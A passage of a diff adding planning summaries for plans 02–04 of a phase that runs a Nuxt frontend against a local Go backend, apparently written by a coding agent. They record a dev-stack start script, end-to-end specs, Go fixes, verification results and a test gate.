None. Pre-existing gofmt drift in `fonoteka.go/plugins/golem15/fonoteka/household_smoke_test.go` was left alone (out of scope).
## Verification
- summercms.go: `go vet ./...` clean, `go test -short ./...` and full `go test ./...` (Docker) green (38 packages), `TestDocsTree` and `docs:build --check` print no problems.
- fonoteka.go: `go vet ./...` clean, `go test ./plugins/golem15/fonoteka/... -count=1` green (10 packages), `TestParityCorpus` 175/175/0.
- `git -C ../fonoteka.go status --porcelain` shows only the existing submodule pointer drift (feedback, golem, user), with nothing staged. `plugins/golem15/user` has a clean worktree. `_dev/backend` does not appear in `parity/manifest.yaml`.
## Next Phase Readiness
Plan 02's start script can run `migrate`, `fonoteka:dev-seed`, `fonoteka:reindex` and `serve --addr 127.0.0.1:8423` with `SUMMER_ENV=local`, `SUMMER_STORAGE__UPLOADS__SERVE=true` and `SUMMER_HTTP__ACCESS_LOG=true`, and can probe the marker. `/storage/app/uploads/public/` should be added to `fonoteka.go/.gitignore` (G11, plan 02 scope) before seeding with the real config.
## Self-Check: PASSED
All 8 created files are present. Commits 0b6d757, ad1fa5a and 2d68eab exist in summercms.go, and 89b703a and 464ba47 exist in fonoteka.go.

View File

@@ -0,0 +1,189 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
plan: 02
subsystem: infra
tags: [dev-stack, bash, nuxt, playwright, centrifugo, typesense, fonoteka]
requires:
- phase: 14.2-01
provides: fonoteka:dev-seed, the local backend marker, storage.uploads.serve, http.access_log
provides:
- fonoteka.go/scripts/dev-stack.sh with up [--detach], down, status, check, guard, exec, e2e [--report-only], e2e-verdict, help
- fonoteka.go/.env.dev.example (placeholders only) and .gitignore entries for /.env.dev and /storage/app/uploads/public/
- app config defaults storage.uploads.serve false and access_log false
- README section "Running locally with the Nuxt app"
affects: [14.2-03 e2e specs via dev-stack.sh e2e, 14.2-04 gate (--guard, --self-test, --e2e), phase 20 cutover (fileblob TMPDIR)]
actuals:
tokens: 10960
tasks: 4
commits: 3
plan_head_before: 5c75b316a71ec876cd64c46a5205a163ca4f39dc
plan_head_after: 5c75b316a71ec876cd64c46a5205a163ca4f39dc
fonoteka_head_before: 464ba475eff0f5282e4c68da53b9eab4b3b688e7
fonoteka_head_after: b5363ea99e12b50dc6238438dd3aa60288f08c1e
fonoteka_commits: 3
tech-stack:
added: []
patterns:
- "Env file parsed as KEY=value data (no source), values never printed; missing keys named only"
- "Each child runs under setsid as its own process group, recorded in tmp/dev-stack/pids; EXIT trap stops what this run started"
- "Centrifugo API key on curl's stdin (-H @-), never argv; probes are read-only (info, history)"
- "flock on tmp/dev-stack/up.lock serialises up; launched children close the lock fd"
key-files:
created:
- ../fonoteka.go/scripts/dev-stack.sh
- ../fonoteka.go/.env.dev.example
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
modified:
- ../fonoteka.go/.gitignore
- ../fonoteka.go/config/storage.yaml
- ../fonoteka.go/config/http.yaml
- ../fonoteka.go/README.md
key-decisions:
- "The Go processes run with TMPDIR=tmp/dev-stack/go-tmp: gocloud fileblob renames uploads in from os.TempDir(), which fails across devices when /tmp is a tmpfs (deferred to Phase 20 for deployments)"
- "The env file is parsed as data instead of sourced, so nothing in it runs as shell code"
- "pnpm dev gets the NUXT_* values on its process only; SUMMER_* secrets and DEV_SEED_API_TOKEN are removed from its environment"
- "up refuses up front when the Nuxt checkout's .nuxt, node_modules/.cache or node_modules/.vite are not writable by the current user"
- "e2e requires a running stack (marker through :3119) and passes the guard before Playwright; it never lets Playwright start its own Nuxt"
- "e2e-verdict also refuses a report it cannot parse or that is missing"
requirements-completed: [QA-05]
coverage:
- id: D1
description: "up --detach on the real machine: preflight, build, migrate, dev-seed, reindex, Go on 127.0.0.1:8423, guard, Nuxt on :3119, probe (marker, 401, seeded cover image/png through Nuxt); down stops both"
requirement: QA-05
verification:
- kind: integration
ref: "Task 2 automated verify (up --detach; marker jq through :3119; albums 401; down)"
status: pass
human_judgment: false
- id: D2
description: "guard refuses :8422, plytarium.com, unset internal origin, mismatched origins, an origin other than the Go address, a non-loopback DEV_STACK_GO_ADDR, no marker, and a fake PHP answering X-Powered-By: PHP"
requirement: QA-05
verification:
- kind: integration
ref: "Task 3 automated verify 1 plus manual planted cases (fake PHP on 127.0.0.1:8431)"
status: pass
human_judgment: false
- id: D3
description: "e2e-verdict refuses skipped, zero-expected, unparsable and missing reports and accepts a clean one"
requirement: QA-05
verification:
- kind: integration
ref: "Task 3 automated verify 1 plus planted reports"
status: pass
human_judgment: false
- id: D4
description: "check exits 0 with warn lines only: dev_stack_absent_ns reported missing, user not reported; on the real config collection and wishlist reported missing and the origin warning printed"
requirement: QA-05
verification:
- kind: integration
ref: "Task 3 automated verify 2"
status: pass
human_judgment: false
- id: D5
description: "Lifecycle: second up --detach prints already up; status 0 when up; a port held by another process is refused; a concurrent up is refused; foreground up stops both groups and removes pids on TERM; down twice is a no-op the second time"
requirement: QA-05
verification:
- kind: other
ref: "manual runs during Task 3"
status: pass
human_judgment: false
- id: D6
description: "README section documents run, Centrifugo operator step with the exact namespace entries, subcommands, logs and MCP"
requirement: QA-05
verification:
- kind: other
ref: "Task 4 automated verify and acceptance greps"
status: pass
human_judgment: false
duration: 27min
completed: 2026-10-11
status: complete
---
# Phase 14.2 Plan 02: Local stack start script Summary
**`fonoteka.go/scripts/dev-stack.sh up` takes a configured machine to Go on 127.0.0.1:8423 and the unchanged Nuxt app on :3119 on host services. Before Nuxt starts, it refuses any backend origin that is not this Go binary. It proves the Nuxt proxy reaches Go with the marker, a 401 and a seeded cover. It also offers `guard`, `check`, `status`, `exec`, `e2e` and `e2e-verdict` for plans 03 and 04.**
## Performance
- **Duration:** 27 min of execution, after the Task 1 env checkpoint and the Nuxt write-access checkpoint
- **Completed:** 2026-10-11T17:07Z
- **Tasks:** 4 (1 human-action, 3 automated)
- **Files:** 6 in fonoteka.go (2 created, 4 modified), 1 planning note in summercms.go
## Accomplishments
- **`up [--detach]`:** runs the steps in the D-05 order and only on host services. It never uses docker compose and never starts a second Centrifugo. Output goes to `tmp/dev-stack/{go,nuxt}.log` with `[go] ` and `[nuxt] ` prefixes. In the foreground, Ctrl-C, TERM or any failure stops both process groups.
- **`guard` (D-09):** applies the origin rules before any network call, then checks the marker and refuses an `X-Powered-By: PHP` header.
- **`check` (D-06, D-18, D-23):**
- Postgres (loopback only), Typesense and Centrifugo `info` must answer, and Centrifugo must accept the key.
- The WebSocket origin probe and the read-only `history` namespace probe print only `warn:` lines.
- On this machine it reports the 3119 origin and the `collection` and `wishlist` namespaces as missing. That is the plan 03 operator step.
- **`exec` and `e2e`:** `exec` exports the E2E and NUXT values with `CI` unset. `e2e` writes a JSON report to `tmp/dev-stack/e2e-<ts>.json`, and `e2e-verdict` fails the run on any skip, flaky, unexpected or zero-expected result.
- **Template, ignores and config:** `.env.dev.example` holds placeholders only. `.gitignore` ignores `/.env.dev` and `/storage/app/uploads/public/`. The app config now has `serve: false` and `access_log: false` defaults.
- **README:** a "Running locally with the Nuxt app" section.
## Task Commits
1. **Task 1:** the developer created the env file and database and started Typesense (checkpoint, no commit).
2. **Task 2 (tracer):** fonoteka.go `f74b00c` feat(14.2-02): dev-stack.sh up brings Go and Nuxt up on host services. Tracer gate: I re-ran the full verify end to end, it passed, then I expanded.
3. **Task 3:** fonoteka.go `3029a4c` feat(14.2-02): dev-stack.sh guard, status, check, exec and e2e fail closed
4. **Task 4:** fonoteka.go `b5363ea` docs(14.2-02): running fonoteka locally with the Nuxt app
## Decisions Made
See `key-decisions` in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
1. **[Rule 3 - Blocking] Cover writes failed across devices.** `fonoteka:dev-seed` failed with `rename /tmp/... storage/app/uploads/public/...: invalid cross-device link`. The cause: `/tmp` is a tmpfs, and gocloud fileblob stages each write in `os.TempDir()`. Fix: every Go process the script starts runs with `TMPDIR=$APP/tmp/dev-stack/go-tmp`. The deployment side is logged in `deferred-items.md` for Phase 20. Commit f74b00c.
2. **[Rule 1 - Bug] The WebSocket origin probe got no answer.** My first `Sec-WebSocket-Key` did not decode to 16 bytes, so Centrifugo closed every request without a response. With a valid key it answers 101 for an allowed origin and 403 for a rejected one. Commit f74b00c.
3. **[Rule 1 - Bug] Foreground `up` stopped right after starting.** A bare `wait -n` also returned for earlier process substitutions. It now waits on the launched process groups only. Commit 3029a4c.
4. **[Rule 2 - Security] The env file is parsed, not sourced.** `set -a; source` would run shell code from the file. The plan named it, but a data parser has the same effect without that risk. `pg_isready` gets host and port only, so the DSN password never reaches argv. The `pnpm dev` process does not inherit the SUMMER_* secrets. Commit f74b00c.
5. **[Rule 2 - Correctness] `up` checks first that it can write to the Nuxt checkout.** It refuses with the directory names instead of failing inside `pnpm dev`. Commit f74b00c.
6. **[Rule 2 - Concurrency] `up` takes a `flock`.** The plan relied on the port checks to refuse a second concurrent `up`. Ports are bound only after build and seed, so a second run could have wiped the first run's pid file. The lock refuses it at once. Commit 3029a4c.
### Checkpoints
- **Nuxt checkout write access (human action).** The checkout was owned by `jin` and not writable by `golem`, so `pnpm dev` could not write `.nuxt`. The user fixed the access, and the orchestrator confirmed it ("nuxt writable"). Writability is now documented as a README prerequisite.
**Total deviations:** 6 auto-fixed (2 bugs, 1 blocking, 3 missing critical). **Impact:** no scope change. All interfaces are as planned.
## Issues Encountered
- **Playwright has no browsers for user `golem`.** Chromium headless shell 1223 is missing from `~/.cache/ms-playwright`. `dev-stack.sh e2e --report-only smoke.spec.ts` ran the whole path: the report was written and the counts printed. Every test failed at browser launch. Plan 03 needs `pnpm exec playwright install chromium`, which downloads the browser, so a person should approve it at plan 03's checkpoint. It is in the README prerequisites.
- **`fonoteka:reindex` prints `collection_id:=0 document count is zero`.** This is an info line from the existing command, and the reindex itself succeeds. Plan 03's search spec will show whether seeded albums are indexed.
- **GORM `record not found` noise.** The seed's first collection lookup logs it in color on stderr. It is cosmetic and logged in `deferred-items.md`.
## Verification
- `bash -n` and `shellcheck` are clean. All acceptance greps of Tasks 2-4 pass.
- The Task 2 verify passes against the real services: `up --detach`, then the marker JSON and the albums 401 through :3119, then `down`.
- Both Task 3 verifies pass.
- The Task 4 verify passes.
- `go -C ../fonoteka.go vet ./...` is clean. `go test ./plugins/golem15/fonoteka/... -count=1` passes, and so does `go test .` for the app root, which covers the config files.
- `git -C ../fonoteka.go status --porcelain` shows only the existing submodule pointer drift (feedback, golem, user). The seeded covers, `tmp/` and `.env.dev` are ignored.
- The vue-fonoteka-app working tree is clean (`git status`). The only things written there are Nuxt and Playwright build and test outputs, which are git-ignored.
## Left running
Nothing. Go and Nuxt are stopped, and ports 8423 and 3119 are free. Seed data stays in `fonoteka_go_dev` and the covers stay under the git-ignored `storage/app/uploads/public/`.
## Next Phase Readiness
- **Plan 03:** run specs with `scripts/dev-stack.sh up --detach`, then `scripts/dev-stack.sh e2e <specs>`. Before that, the operator step for Centrifugo origins and namespaces and the Playwright browser install are needed.
- **Plan 04:** `--guard` can feed planted env files through `DEV_STACK_ENV_FILE`, and `--self-test` can feed planted reports to `e2e-verdict`.
## Self-Check: PASSED
scripts/dev-stack.sh, .env.dev.example and deferred-items.md are present; commits f74b00c, 3029a4c and b5363ea exist in fonoteka.go (3 commits since 464ba47).

View File

@@ -0,0 +1,242 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
plan: 03
subsystem: testing
tags: [playwright, e2e, nuxt, centrifugo, dev-seed, surf, access-log, fonoteka, uat]
requires:
- phase: 14.2-01
provides: fonoteka:dev-seed, storage.uploads.serve, http.access_log, the local backend marker
- phase: 14.2-02
provides: dev-stack.sh up/down/check/e2e/e2e-verdict
provides:
- vue-fonoteka-app E2E_BACKEND=go seed switch (runTinker.ts goMode/goDir, auth.setup.ts Go seed)
- backend-agnostic specs album-edit-rate-cover, album-search, wishlist and the rewritten realtime spec
- repaired smoke, login and album-create specs; tests/e2e/helpers/fonotekaApi.ts
- Go fixes found by the specs and the manual session (empty album format, seeded artist rows, cancelled request logged as 499)
- 14.2-UAT.md with the D-13 session and the D-11 PHP cross-check
affects: [14.2-04 unit tests and gate, phase 20 cutover]
actuals:
tokens: 11639
tasks: 4
commits: 4 # summercms.go: rev-list plan_head_before..plan_head_after = 5, minus 48286b6 docs(17) from another session
plan_head_before: 05442174b67f1687d07530ef90b4ac6998bf7a50
plan_head_after: a2d19360d290d81339f0c0f519585bcb337472b4
fonoteka_head_before: b5363ea99e12b50dc6238438dd3aa60288f08c1e
fonoteka_commits: 3
vue_fonoteka_app_head_before: 984031f646784f640930a25eb7f25b3d268ac4d5
vue_fonoteka_app_commits: 3
tech-stack:
added: []
patterns:
- "Specs self-seed through page.request on the Nuxt origin with the Bearer from the auth_token cookie, Date.now() names, cleanup in finally"
- "Realtime is asserted on Centrifugo JSON protocol frames (connect reply, subscribe reply by id, push), the same for both backends"
- "Go-mode switches read process.env at call time so contract tests can toggle them"
key-files:
created:
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaApi.ts
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md
modified:
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/smoke.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/login.spec.ts
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-item.spec.ts
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service.go
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service_db_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
- ../fonoteka.go/scripts/dev-stack.sh
- modules/surf/accesslog.go
- modules/surf/accesslog_test.go
- modules/surf/README.md
- docs/services/logging.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
key-decisions:
- "The album model rules see nullable text columns as strings, so an empty format passes like PHP, which skips non-implicit rules for an empty string"
- "A 5xx written after the client cancelled the request is logged as 499 by the surf access log (framework), not remapped per plugin"
- "dev-seed creates albums with their artist rows and backfills seeded albums that have none (album: updated)"
- "dev-stack.sh e2e exports TMPDIR=tmp/dev-stack/go-tmp so the Playwright seed can write covers on a tmpfs /tmp machine"
- "Item 11 (PHP cross-check) passes by classification: the two PHP failures are a GD-undecodable test fixture and a missing PHP Centrifugo config, with no contract difference"
patterns-established:
- "UAT findings that match PHP are recorded with the PHP source reference instead of being changed in Go"
requirements-completed: [QA-05]
coverage:
- id: D1
description: "E2E_BACKEND=go seed switch: Go mode runs fonoteka:dev-seed and fails closed, runTinker throws, the PHP path is byte-identical (additions only)"
requirement: QA-05
verification:
- kind: e2e
ref: "dev-stack.sh e2e auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts i18n.spec.ts public-share.spec.ts"
status: pass
- kind: other
ref: "git diff HEAD~1 -- tests/e2e/helpers/runTinker.ts | grep -c '^-[^-]' = 0 at 87d6939"
status: pass
human_judgment: false
- id: D2
description: "D-15 Go gate subset (10 spec files) green with zero skips"
requirement: QA-05
verification:
- kind: e2e
ref: "dev-stack.sh e2e (10 files): expected=17 unexpected=0 skipped=0 flaky=0, rerun after the session fixes"
status: pass
human_judgment: false
- id: D3
description: "Edit, rate, cover upload (cover served from /storage/app/uploads/public/ with naturalWidth > 0), search and wishlist add/remove specs, self-seeding"
requirement: QA-05
verification:
- kind: e2e
ref: "album-edit-rate-cover.spec.ts, album-search.spec.ts, wishlist.spec.ts on Go"
status: pass
human_judgment: false
- id: D4
description: "Realtime spec on Centrifugo frames: connect reply, error-free collection: subscribe, push within 15 s"
requirement: QA-05
verification:
- kind: e2e
ref: "realtime.spec.ts on Go with E2E_CENTRIFUGO=1"
status: pass
human_judgment: false
- id: D5
description: "Go fixes: empty wishlist format 201, seeded artist rows, cancelled request logged as 499"
requirement: QA-05
verification:
- kind: integration
ref: "classes#TestSaveAlbumEmptyFormatPassesModelRules, fonoteka#TestDevStackSmoke (artist backfill), surf#TestAccessLogClientClosedRequest"
status: pass
human_judgment: false
- id: D6
description: "Manual D-13 session on the Go stack and D-11 PHP cross-check recorded in 14.2-UAT.md"
requirement: QA-05
verification:
- kind: manual_procedural
ref: ".planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md"
status: pass
human_judgment: true
duration: about 4h including the manual session
completed: 2026-10-11
status: complete
---
# Phase 14.2 Plan 03: vue-fonoteka-app proven on the Go backend Summary
**The vue-fonoteka-app Playwright suite now seeds the Go stack through `fonoteka:dev-seed` (`E2E_BACKEND=go`). Every core flow has a self-seeding spec: edit, rate, cover upload, search, wishlist and realtime over Centrifugo frames. The D-15 subset passes on Go with zero skips. The developer's manual session and the PHP cross-check are on record in 14.2-UAT.md, and the four Go defects they and the specs surfaced are fixed.**
## Performance
- **Duration:** about 4 hours of wall time, including the operator step, the manual session and the PHP run.
- **Completed:** 2026-10-11
- **Tasks:** 4 (2 automated, 1 operator checkpoint, 1 manual checkpoint)
- **Repos:** vue-fonoteka-app (3 commits), fonoteka.go (3), summercms.go (4 before this summary)
## Accomplishments
- **D-14 seed switch.**
- `runTinker.ts` gains `goMode()` and `goDir()`. In Go mode, `backendAvailable()` checks `E2E_GO_BIN`, `runTinker()` throws, and `seedE2EFixtures()` runs `$E2E_GO_BIN fonoteka:dev-seed` and throws on any failure.
- `auth.setup.ts` seeds before login only when `E2E_BACKEND=go`. The PHP lines are unchanged: the change only adds lines.
- **D-16 and D-21 specs.**
- `album-edit-rate-cover`, `album-search` and `wishlist` are new, and `realtime` is a full rewrite without the removed `realtime-*` test IDs.
- The four specs share `helpers/fonotekaApi.ts`.
- **Go fixes:**
- The wishlist form's `"format":""` now gets a 201, as on PHP.
- `dev-seed` attaches artist rows, and a rerun backfills them on albums seeded earlier.
- A cancelled request is logged as 499 instead of 500 (surf access log).
- `dev-stack.sh e2e` keeps the seed's temporary files on the app's device.
- **Records:**
- 14.2-UAT.md has all 11 D-13 items. Items 7, 9 and 10 carry analysed findings, and item 11 is the PHP cross-check.
- `deferred-items.md` lists the follow-ups.
## Task Commits
1. **Task 1 (tracer): seed switch, existing core specs green on Go**
- vue-fonoteka-app `e4f2a9c`: fix(14.2-03): repair stale smoke, login and album-create e2e specs
- vue-fonoteka-app `87d6939`: feat(14.2-03): E2E_BACKEND=go seeds through fonoteka:dev-seed
- Tracer gate: the verify ran green end to end (12/0/0/0) before expanding.
2. **Task 2: Centrifugo origins and namespaces (operator)**
- The operator did it before resume. `dev-stack.sh check` exits 0 and prints no origin or namespace warning.
3. **Task 3: specs for edit, rate, cover, search, wishlist and realtime**
- vue-fonoteka-app `c1f323a`: test(14.2-03): backend-agnostic specs for edit, rate, cover, search, wishlist and realtime
- fonoteka.go `7675d64`: fix(14.2-03): an empty album format passes the model rules like PHP
- summercms.go `66dbd5a`: docs(14.2-03): UAT record with the deferred PHP cross-check
- The PHP cross-check was deferred to Task 4 item 11. Executor runs on 2026-10-11 had no PHP E2E credentials, and the run was never reported as passed.
4. **Task 4: manual session, follow-up fixes and PHP cross-check**
- fonoteka.go `d31e00a`: fix(14.2-03): dev-seed attaches artist rows to the seeded albums
- fonoteka.go `807dfdb`: fix(14.2-03): dev-stack.sh e2e keeps the seed's temporary files on the app device
- summercms.go `4660f95`: fix(14.2-03): access log records a cancelled request's 5xx as 499
- summercms.go `b9de061`: docs(14.2-03): record the manual session, its findings and fixes in UAT
- summercms.go `a2d1936`: docs(14.2-03): PHP cross-check and re-verification recorded in UAT
## Decisions Made
See `key-decisions` in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
1. **[Rule 3 - Blocking] Three existing gate specs were stale against the current app, on any backend.**
- `smoke` ran with the logged-in storage state, which shows the dashboard on `/`, and expected "Plytarium" where the page says "Płytarium".
- `login` used `/login`, which now serves Polish labels, and clicked before hydration.
- `fonoteka-item` did not fill the now-required artist and format, and its toast race could not succeed.
- Fixed in the specs only; nothing under `app/` changed. Commit `e4f2a9c`.
2. **[Rule 2 - Missing helper] `tests/e2e/helpers/fonotekaApi.ts` added.** It holds the Bearer, create and delete helpers shared by the specs. The file was not in the plan's file list. Commit `e4f2a9c`.
3. **[Rule 1 - Bug, D-11 Go fix] Wishlist create with `"format":""` answered the 500 page.**
- Cause: the model-rule check saw a `*string` pointing to "", not an empty value, so the `in:` rule failed. PHP skips non-implicit rules for an empty string.
- Fixed in fonoteka.go `7675d64`, with a DB test. The framework-level gap is logged in `deferred-items.md`.
4. **[Rule 1 - Bug, session finding A] The artist field in the edit form was empty for seeded albums.** The seed set only `artist_display`. Fixed in fonoteka.go `d31e00a`, and the developer re-verified it.
5. **[Rule 1 - Bug, session finding D] A cancelled request was logged as a 500.**
- Fixed in the framework (summercms.go `4660f95`), with docs.
- The fix belongs in the framework because the status is visible only in the access log, so a per-plugin remap would not reach it.
6. **[Rule 3 - Blocking] The Playwright-run seed failed with `invalid cross-device link`.** A renamed seeded album made the seed write a new cover with the default `/tmp`. Fixed in fonoteka.go `807dfdb`.
7. **[Procedural] The PHP cross-check was not a clean run.**
- Item 11 on PHP gave `expected=4 unexpected=2`. The failures were a GD-undecodable `PNG_1PX` fixture and the PHP env missing a Centrifugo config.
- The developer accepted it as a pass by classification: no contract difference was found. Both issues are in `deferred-items.md`.
### Findings recorded as matching PHP (no change)
- **Item 7:** a new photo is appended and the first photo stays the main cover. Winter's `Sortable` sets `sort_order` to the id, and Go does the same.
- **Item 9:** a same-user edit in a second tab does not refresh the UI, because the frontend's self-echo guard skips it. The Go push payload has the same shape as PHP's.
- **Item 3:** `artist_display` is not rewritten after an artist change. PHP fills it only when it is empty.
**Total deviations:** 6 auto-fixed (3 bugs, 2 blocking, 1 missing helper), 1 procedural. **Impact:** no `app/` change. The Go and framework fixes are parity corrections.
## Issues Encountered
- `pnpm test:contracts` fails 1 of 279 on vue-fonoteka-app HEAD from before this plan: `missing-catalog.test.mjs` finds the word "any" in an `app/` type comment from `984031f`. It is outside D-20 scope and logged.
- `go.log` is appended across `up` runs. The pre-session and session logs are kept as `go.log.pre-uat-20261011` and `go.log.uat-session-20261011`.
## Verification
- **Go gate subset (D-15):** `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed` after all fixes. go.log shows 0 5xx afterwards.
- **Go tests:**
- fonoteka.go: `go vet ./...` is clean; the fonoteka plugin, classes, console, parity and app-root tests pass.
- summercms.go: `go vet ./...` is clean, `go test -short ./...` passes, and so do `TestDocsTree` and `docs:build --check`.
- **vue-fonoteka-app:** `git diff --name-only 984031f..HEAD -- app` is empty.
## Left running
The Go and Nuxt dev stack (`dev-stack.sh up --detach`) was left running for the developer at the last executor step. The PHP run stopped it and started it again as the coordinator described.
## Next Phase Readiness
Plan 04 can pin the Go seed switch with a contract test (the switch is read at call time) and use `dev-stack.sh` `--guard`, `--self-test` and `--e2e`.
## Self-Check: PASSED
The created spec files, the helper and 14.2-UAT.md exist. Commits:
- vue-fonoteka-app: e4f2a9c, 87d6939, c1f323a
- fonoteka.go: 7675d64, d31e00a, 807dfdb
- summercms.go: 66dbd5a, 4660f95, b9de061, a2d1936

View File

@@ -0,0 +1,239 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
plan: 04
subsystem: testing
tags: [unit-tests, gate, dev-seed, surf, uploads, access-log, playwright, contracts, fonoteka]
requires:
- phase: 14.2-01
provides: fonoteka:dev-seed, commandDatabase, the local marker, storage.uploads.serve, http.access_log
- phase: 14.2-02
provides: dev-stack.sh guard, e2e, e2e-verdict, status, up --detach
- phase: 14.2-03
provides: the E2E_BACKEND=go switch in runTinker.ts and the Go-gate spec set
provides:
- scripts/check-phase14.2.sh (--self-test --go --docs --parity --contracts --guard --e2e --all)
- console tests TestDevSeedRefusesProduction, TestDevSeedShape, TestDevSeedIdempotent
- plugin tests TestDevSeedOpensDatabase, TestReindexOpensDatabase, TestCommandsOpenDatabase, TestDevMarkerRoute
- surf tests TestUploadsMount, TestAccessLog
- vue-fonoteka-app tests/contracts/e2e-backend-switch.test.mjs
- surf: the uploads route owns its prefix (a plugin route at or under it fails BuildRouter)
affects: [/msd-verify-work 14.2, /msd-validate-phase 14.2, phase 20 cutover]
actuals:
tokens: 20256
tasks: 3
commits: 3
plan_head_before: dbdf15da76098beb315a61fa4719e05ab1ca13f2
plan_head_after: 78d72418cb731263572b75294846841a23a853d3
fonoteka_head_before: 807dfdbfcc6e323d327c29295d23c76887e4dc89
fonoteka_head_after: 49af991a8f3a9b5c75af29a0734d2d583b83449a
fonoteka_commits: 2
vue_fonoteka_app_head_before: c1f323a0ff3a51e1ca6f5db80581a0db0d644d6a
vue_fonoteka_app_head_after: 6d60e42022e4252cbe0d73b7fb5196eb000d093b
vue_fonoteka_app_commits: 1
tech-stack:
added: []
patterns:
- "Fresh-process command tests: party.Activate on an app with only database.dsn, run the plugin's own Command, assert the published handle carries the OnDatabase GORM callback"
- "Gate guard cases run dev-stack.sh in env -i with planted guard-*.conf files, require a case-specific refusal reason, and keep a passing SummerCMS control case"
- "Report-only suites are printed with their counts next to a blocking, phase-scoped run"
key-files:
created:
- scripts/check-phase14.2.sh
- modules/surf/uploads_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs
modified:
- modules/surf/uploads.go
- modules/surf/accesslog_test.go
- modules/surf/README.md
- docs/services/storage.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
key-decisions:
- "The uploads route owns storage.uploads.public_path_prefix: BuildRouter fails when a plugin route sits at or under it (the plan's truth; before, only an identical pattern failed, and only at Assemble)"
- "--contracts blocks on the phase's own contract test and reports the whole pnpm test:contracts suite, because missing-catalog.test.mjs fails on vue-fonoteka-app HEAD from before this phase"
- "The gate leaves TMPDIR to the caller: a TMPDIR inside fonoteka.go made internal/build scaffold tests edit fonoteka.go/go.work and made go test ./... there pick up build directories"
- "--go also runs go test ./... in the fonoteka plugin module, because ./... at the fonoteka.go root covers only the root module"
- "The go.log scan reads the whole log, not only lines from this run, so a 5xx left from an earlier session also fails the gate until the log is read and rotated"
requirements-completed: [QA-05]
coverage:
- id: D1
description: "Seed refusal: unset SUMMER_ENV, production, development, testing and staging refused before anything is opened; local and dev pass the gate; DevEnvironment agrees"
requirement: QA-05
verification:
- kind: unit
ref: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go#TestDevSeedRefusesProduction"
status: pass
human_judgment: false
- id: D2
description: "Seed shape, demo@example.com/changeme fallback, DEV_SEED_API_TOKEN prefix refusal and hash storage; idempotent rerun and password-only update"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go#TestDevSeedShape,TestDevSeedIdempotent"
status: pass
human_judgment: false
- id: D3
description: "dev-seed, fonoteka:reindex, fonoteka:oauth-client and fonoteka:prune-notifications open and publish their own database with the OnDatabase hooks"
requirement: QA-05
verification:
- kind: integration
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go#TestDevSeedOpensDatabase,TestReindexOpensDatabase,TestCommandsOpenDatabase"
status: pass
human_judgment: false
- id: D4
description: "Marker route only in local/dev, no auth middleware, exact body and no-store; absent and 404 in production, development and testing; not in parity/manifest.yaml"
requirement: QA-05
verification:
- kind: unit
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go#TestDevMarkerRoute"
status: pass
human_judgment: false
- id: D5
description: "Uploads mount (off, on, nosniff, HEAD, private/missing/traversal 404, unpublished bucket or database, custom prefix, prefix ownership) and access log (pattern/status, unmatched path, locale prefix, integer duration, no secrets, flush)"
requirement: QA-05
verification:
- kind: integration
ref: "modules/surf/uploads_test.go#TestUploadsMount"
status: pass
- kind: unit
ref: "modules/surf/accesslog_test.go#TestAccessLog"
status: pass
human_judgment: false
- id: D6
description: "E2E_BACKEND=go switch contract: argv, cwd, fail-closed exits, runTinker throws, PHP path unchanged, auth.setup.ts seeds only in Go mode"
requirement: QA-05
verification:
- kind: unit
ref: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs"
status: pass
human_judgment: false
- id: D7
description: "check-phase14.2.sh --all: self-test, go, docs, parity 175/175, contracts, guard refusals, Go-gate Playwright 17/0/0/0 and go.log scan; last line Phase 14.2 gate passed"
requirement: QA-05
verification:
- kind: other
ref: "bash scripts/check-phase14.2.sh --all"
status: pass
human_judgment: false
duration: 60min
completed: 2026-10-11
status: complete
---
# Phase 14.2 Plan 04: Unit tests and the fail-closed phase gate Summary
